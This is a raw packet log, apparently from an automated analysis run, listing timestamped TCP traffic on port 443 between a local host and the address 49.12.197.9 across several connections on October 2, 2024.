Oct 2, 2024 05:20:32.256834030 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.256846905 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.914902925 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.914973021 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.915443897 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.915452957 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.917218924 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.917226076 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.604372978 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.604427099 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.604438066 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.604448080 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.604481936 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.604691982 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.604703903 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.606650114 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.606739044 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:33.606841087 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.607023001 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:33.607060909 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.256798983 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.256890059 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.257427931 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.257438898 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.259071112 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.259077072 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.953809977 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.953841925 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.953915119 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.953924894 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.953963041 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.954252005 CEST	49805	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.954274893 CEST	443	49805	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.955811024 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.955832005 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:34.955910921 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.956167936 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:34.956186056 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:35.604540110 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:35.604639053 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:35.605108976 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:35.605115891 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:35.607006073 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:35.607012987 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.291223049 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.291248083 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.291318893 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.291337013 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.291433096 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.291924000 CEST	49806	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.291963100 CEST	443	49806	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.294203997 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.294253111 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.294325113 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.294518948 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.294533014 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.973424911 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.973505974 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.973978996 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.973984957 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:36.976511002 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:36.976515055 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:37.668752909 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:37.668833017 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:37.668833971 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.668883085 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.669091940 CEST	49807	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.669111967 CEST	443	49807	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:37.726397991 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.726438046 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:37.726520061 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.726708889 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:37.726717949 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.398118973 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.398216963 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.398982048 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.398991108 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.400660038 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.400665998 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.400724888 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.400733948 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.719403982 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.719440937 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:38.719526052 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.719763041 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:38.719777107 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.210793972 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.210879087 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.210912943 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.210954905 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.211908102 CEST	49808	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.211926937 CEST	443	49808	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.369565010 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.369652033 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.370182991 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.370188951 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.372669935 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.372678995 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.803922892 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.803950071 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.803966999 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.803982019 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.804018974 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.804028034 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.804081917 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.835315943 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.835331917 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.835417032 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.835432053 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.835505962 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.904076099 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.904094934 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.904237986 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.904253960 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.904330969 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.937705040 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.937719107 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.937794924 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.937803030 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.937858105 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.973490953 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.973504066 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.973583937 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:39.973593950 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:39.973638058 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.208929062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.208947897 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.209074974 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.209095001 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.209145069 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.209434986 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.209448099 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.209531069 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.209539890 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.209600925 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.209999084 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.210011005 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.210088968 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.210117102 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.210160971 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.216049910 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.216064930 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.216128111 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.216136932 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.216180086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.219682932 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.219696999 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.219783068 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.219793081 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.219836950 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.221822977 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.221837997 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.221900940 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.221910954 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.221956015 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.223874092 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.223887920 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.223954916 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.223963976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.224005938 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.226437092 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.226449966 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.226511002 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.226521015 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.226563931 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.228631973 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.228646994 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.228712082 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.228720903 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.228768110 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.229557037 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.229569912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.229629993 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.229638100 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.229685068 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.230499029 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.230514050 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.230576992 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.230586052 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.230644941 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.231173038 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.231187105 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.231247902 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.231259108 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.231297016 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.232314110 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232327938 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232397079 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.232408047 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232459068 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.232733965 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232748032 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232806921 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.232815027 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.232857943 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.233865023 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.233880043 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.233937025 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.233947992 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.233989954 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.234291077 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.234304905 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.234373093 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.234380960 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.234426022 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.235296011 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235311031 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235374928 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.235382080 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235434055 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.235831976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235860109 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235898018 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.235907078 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.235937119 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.235961914 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.236529112 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.236543894 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.236602068 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.236609936 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.236649990 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.245740891 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.245764971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.245824099 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.245839119 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.245878935 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.253331900 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.253345966 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.253411055 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.253418922 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.253463030 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.261825085 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.261838913 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.261898994 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.261909008 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.261945963 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.272905111 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.272918940 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.272984982 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.272994041 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.273035049 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.291102886 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.291117907 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.291174889 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.291189909 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.291234016 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.304081917 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.304095030 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.304162979 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.304177046 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.304222107 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.315851927 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.315867901 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.315923929 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.315934896 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.315978050 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.323539019 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.323553085 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.323611975 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.323618889 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.323661089 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.332678080 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.332693100 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.332781076 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.332789898 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.332835913 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.340183020 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.340198040 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.340461969 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.340475082 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.340557098 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.348723888 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.348737955 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.348826885 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.348834991 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.348880053 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.359844923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.359860897 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.359945059 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.359954119 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.359998941 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.377695084 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.377710104 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.377814054 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.377823114 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.377866983 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.390888929 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.390902996 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.390994072 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.391014099 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.391066074 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.402623892 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.402638912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.402697086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.402707100 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.402770996 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.410129070 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.410150051 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.410226107 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.410237074 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.410280943 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.419737101 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.419755936 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.419800997 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.419816971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.419831991 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.419861078 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.427077055 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.427090883 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.427158117 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.427166939 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.427205086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.436022997 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.436038017 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.436120033 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.436132908 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.436180115 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.446799994 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.446816921 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.446868896 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.446877003 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.447216988 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.464584112 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.464597940 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.464685917 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.464711905 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.464762926 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.478281021 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.478296995 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.478355885 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.478367090 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.478415966 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.489650965 CEST	443	49809	49.12.197.9	192.168.2.4
